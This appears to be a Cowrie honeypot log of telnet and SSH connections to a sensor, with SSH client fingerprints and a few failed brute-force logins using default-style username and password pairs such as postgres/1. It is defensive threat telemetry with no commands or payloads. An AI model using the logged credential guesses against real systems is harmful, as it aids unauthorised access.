{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:03.109930Z","src_ip":"36.253.9.69","session":"5fac981f508f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36568,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5a1e161d369","protocol":"telnet","message":"New connection: 38.60.198.128:36568 (159.203.135.109:23) [session: a5a1e161d369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:03.510514Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33958,"dst_ip":"159.203.135.109","dst_port":23,"session":"370da57e3c76","protocol":"telnet","message":"New connection: 38.60.198.128:33958 (159.203.135.109:23) [session: 370da57e3c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:04.419327Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39930,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee0bac37554d","protocol":"telnet","message":"New connection: 38.54.119.93:39930 (10.17.0.5:23) [session: ee0bac37554d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:05.619207Z"}
{"eventid":"cowrie.session.closed","duration":42.867337465286255,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:07.006923Z","src_ip":"38.60.198.128","session":"7189aa7ed936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39908,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a96592f5a7","protocol":"telnet","message":"New connection: 38.60.198.128:39908 (159.203.135.109:23) [session: c6a96592f5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:08.392943Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40128,"dst_ip":"159.203.135.109","dst_port":23,"session":"a165e4d2c702","protocol":"telnet","message":"New connection: 38.60.198.128:40128 (159.203.135.109:23) [session: a165e4d2c702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:08.820544Z"}
{"eventid":"cowrie.session.closed","duration":0.00477290153503418,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:08.825209Z","src_ip":"38.60.198.128","session":"a165e4d2c702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.802241802215576,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:09.099731Z","src_ip":"38.60.198.128","session":"162f05aa0d4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"51936d911423","protocol":"telnet","message":"New connection: 38.60.198.128:43632 (159.203.135.109:23) [session: 51936d911423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:09.411572Z"}
{"eventid":"cowrie.session.closed","duration":43.35160303115845,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:10.055747Z","src_ip":"38.60.198.128","session":"d4635024af98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45826,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eb4652e1048","protocol":"telnet","message":"New connection: 38.60.198.128:45826 (159.203.135.109:23) [session: 4eb4652e1048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:11.094399Z"}
{"eventid":"cowrie.session.closed","duration":40.03555750846863,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:11.321296Z","src_ip":"38.60.198.128","session":"34f544e7a93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56598,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a4d9167c930","protocol":"telnet","message":"New connection: 38.60.198.128:56598 (159.203.135.109:23) [session: 7a4d9167c930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:12.070496Z"}
{"eventid":"cowrie.session.closed","duration":6.47089958190918,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:12.089915Z","src_ip":"38.54.119.93","session":"ee0bac37554d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.724173545837402,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:14.135647Z","src_ip":"38.60.198.128","session":"51936d911423","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.95483374595642,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:16.203059Z","src_ip":"38.60.198.128","session":"3132e86afed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42746,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba5dfd14865d","protocol":"telnet","message":"New connection: 38.60.198.128:42746 (159.203.135.109:23) [session: ba5dfd14865d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:18.479014Z"}
{"eventid":"cowrie.session.closed","duration":0.005318880081176758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:18.484007Z","src_ip":"38.60.198.128","session":"ba5dfd14865d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":48784,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0209f5a030","protocol":"ssh","message":"New connection: 198.98.56.205:48784 (159.203.135.109:22) [session: 6f0209f5a030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:19.012296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:19.017287Z","src_ip":"198.98.56.205","session":"6f0209f5a030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:19.022539Z","src_ip":"198.98.56.205","session":"6f0209f5a030","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"abc123","message":"login attempt [arkserver/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:19.076282Z","src_ip":"198.98.56.205","session":"6f0209f5a030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:20.084738Z","src_ip":"198.98.56.205","session":"6f0209f5a030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.62111306190491,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:22.942213Z","src_ip":"38.60.198.128","session":"ad5d1c3a4171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.64564275741577,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:23.899936Z","src_ip":"38.60.198.128","session":"43875743aa12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.76444220542908,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:24.945104Z","src_ip":"38.60.198.128","session":"f01b2c951c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2b83c160386","protocol":"telnet","message":"New connection: 45.81.23.16:56788 (10.17.0.5:23) [session: d2b83c160386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:26.287426Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35444,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a7ac516694f","protocol":"telnet","message":"New connection: 38.60.198.128:35444 (159.203.135.109:23) [session: 0a7ac516694f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:26.335877Z"}
{"eventid":"cowrie.session.closed","duration":39.86707139015198,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:28.616939Z","src_ip":"38.60.198.128","session":"8d0d860a2bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.75741624832153,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:31.109751Z","src_ip":"38.60.198.128","session":"8c3ece39cf22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"051faf22536c","protocol":"ssh","message":"New connection: 191.101.59.69:51906 (159.203.135.109:22) [session: 051faf22536c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:33.381459Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52928,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3c7aca6782f","protocol":"telnet","message":"New connection: 192.211.53.160:52928 (159.203.135.109:23) [session: e3c7aca6782f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:34.532205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:34.803853Z","src_ip":"191.101.59.69","session":"051faf22536c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:34.887395Z","src_ip":"191.101.59.69","session":"051faf22536c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":52952,"dst_ip":"159.203.135.109","dst_port":23,"session":"a31a248c15de","protocol":"telnet","message":"New connection: 192.211.53.160:52952 (159.203.135.109:23) [session: a31a248c15de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:35.536416Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47414,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca85a4768c1","protocol":"telnet","message":"New connection: 38.60.198.128:47414 (159.203.135.109:23) [session: eca85a4768c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:36.319860Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47524,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff749fb3a99","protocol":"telnet","message":"New connection: 38.60.198.128:47524 (159.203.135.109:23) [session: 0ff749fb3a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:36.476357Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:37.439692Z","src_ip":"191.101.59.69","session":"051faf22536c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50144,"dst_ip":"159.203.135.109","dst_port":23,"session":"d93dffbdc44f","protocol":"telnet","message":"New connection: 38.60.198.128:50144 (159.203.135.109:23) [session: d93dffbdc44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:38.527489Z"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:38.608699Z","src_ip":"191.101.59.69","session":"051faf22536c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52504,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb19b305e648","protocol":"telnet","message":"New connection: 38.60.198.128:52504 (159.203.135.109:23) [session: cb19b305e648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:40.622415Z"}
{"eventid":"cowrie.session.closed","duration":50.763060092926025,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:41.774472Z","src_ip":"38.60.198.128","session":"9b38a2f590db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":53924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae4bb36f450b","protocol":"telnet","message":"New connection: 38.60.198.128:53924 (159.203.135.109:23) [session: ae4bb36f450b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:41.885400Z"}
{"eventid":"cowrie.session.closed","duration":42.24189782142639,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:42.189798Z","src_ip":"38.60.198.128","session":"174ef56d4f90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa769e4ac4f3","protocol":"telnet","message":"New connection: 38.60.198.128:54468 (159.203.135.109:23) [session: aa769e4ac4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:42.295034Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56070,"dst_ip":"159.203.135.109","dst_port":23,"session":"17cf98afb9d5","protocol":"telnet","message":"New connection: 38.60.198.128:56070 (159.203.135.109:23) [session: 17cf98afb9d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:44.724207Z"}
{"eventid":"cowrie.session.closed","duration":40.705193519592285,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:45.124363Z","src_ip":"38.60.198.128","session":"370da57e3c76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.26345252990723,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:46.773830Z","src_ip":"38.60.198.128","session":"a5a1e161d369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41719341278076,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:46.810024Z","src_ip":"38.60.198.128","session":"c6a96592f5a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55224,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d083640551","protocol":"telnet","message":"New connection: 192.211.53.160:55224 (159.203.135.109:23) [session: 21d083640551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:47.089238Z"}
{"eventid":"cowrie.session.closed","duration":7.343970537185669,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:47.966306Z","src_ip":"38.60.198.128","session":"cb19b305e648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.05315828323364,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:49.123554Z","src_ip":"38.60.198.128","session":"7a4d9167c930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.70413041114807,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:52.798409Z","src_ip":"38.60.198.128","session":"4eb4652e1048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47006,"dst_ip":"159.203.135.109","dst_port":23,"session":"cff02d7df6cc","protocol":"telnet","message":"New connection: 38.60.198.128:47006 (159.203.135.109:23) [session: cff02d7df6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:53:57.711102Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52246,"dst_ip":"159.203.135.109","dst_port":23,"session":"79187744c6a9","protocol":"telnet","message":"New connection: 38.60.198.128:52246 (159.203.135.109:23) [session: 79187744c6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:00.941286Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eb26f08138f","protocol":"telnet","message":"New connection: 38.60.198.128:54564 (159.203.135.109:23) [session: 7eb26f08138f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:01.456685Z"}
{"eventid":"cowrie.session.closed","duration":36.45434069633484,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:02.790105Z","src_ip":"38.60.198.128","session":"0a7ac516694f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39678,"dst_ip":"159.203.135.109","dst_port":23,"session":"af4b1516f98a","protocol":"telnet","message":"New connection: 38.60.198.128:39678 (159.203.135.109:23) [session: af4b1516f98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:10.612376Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":40070,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e1de39d1f70","protocol":"ssh","message":"New connection: 198.98.56.205:40070 (159.203.135.109:22) [session: 6e1de39d1f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:10.809824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:10.814302Z","src_ip":"198.98.56.205","session":"6e1de39d1f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:10.819330Z","src_ip":"198.98.56.205","session":"6e1de39d1f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!qazXsw2","message":"login attempt [ubuntu/!qazXsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:10.870198Z","src_ip":"198.98.56.205","session":"6e1de39d1f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d697c2ff42c9","protocol":"telnet","message":"New connection: 38.60.198.128:39332 (159.203.135.109:23) [session: d697c2ff42c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:11.336681Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:11.878328Z","src_ip":"198.98.56.205","session":"6e1de39d1f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.65041255950928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:12.182494Z","src_ip":"192.211.53.160","session":"e3c7aca6782f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.347431182861328,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:12.959703Z","src_ip":"38.60.198.128","session":"af4b1516f98a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7933132648468,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:54:13.269554Z","src_ip":"38.60.198.128","session":"0ff749fb3a99","protocol":"telnet"}
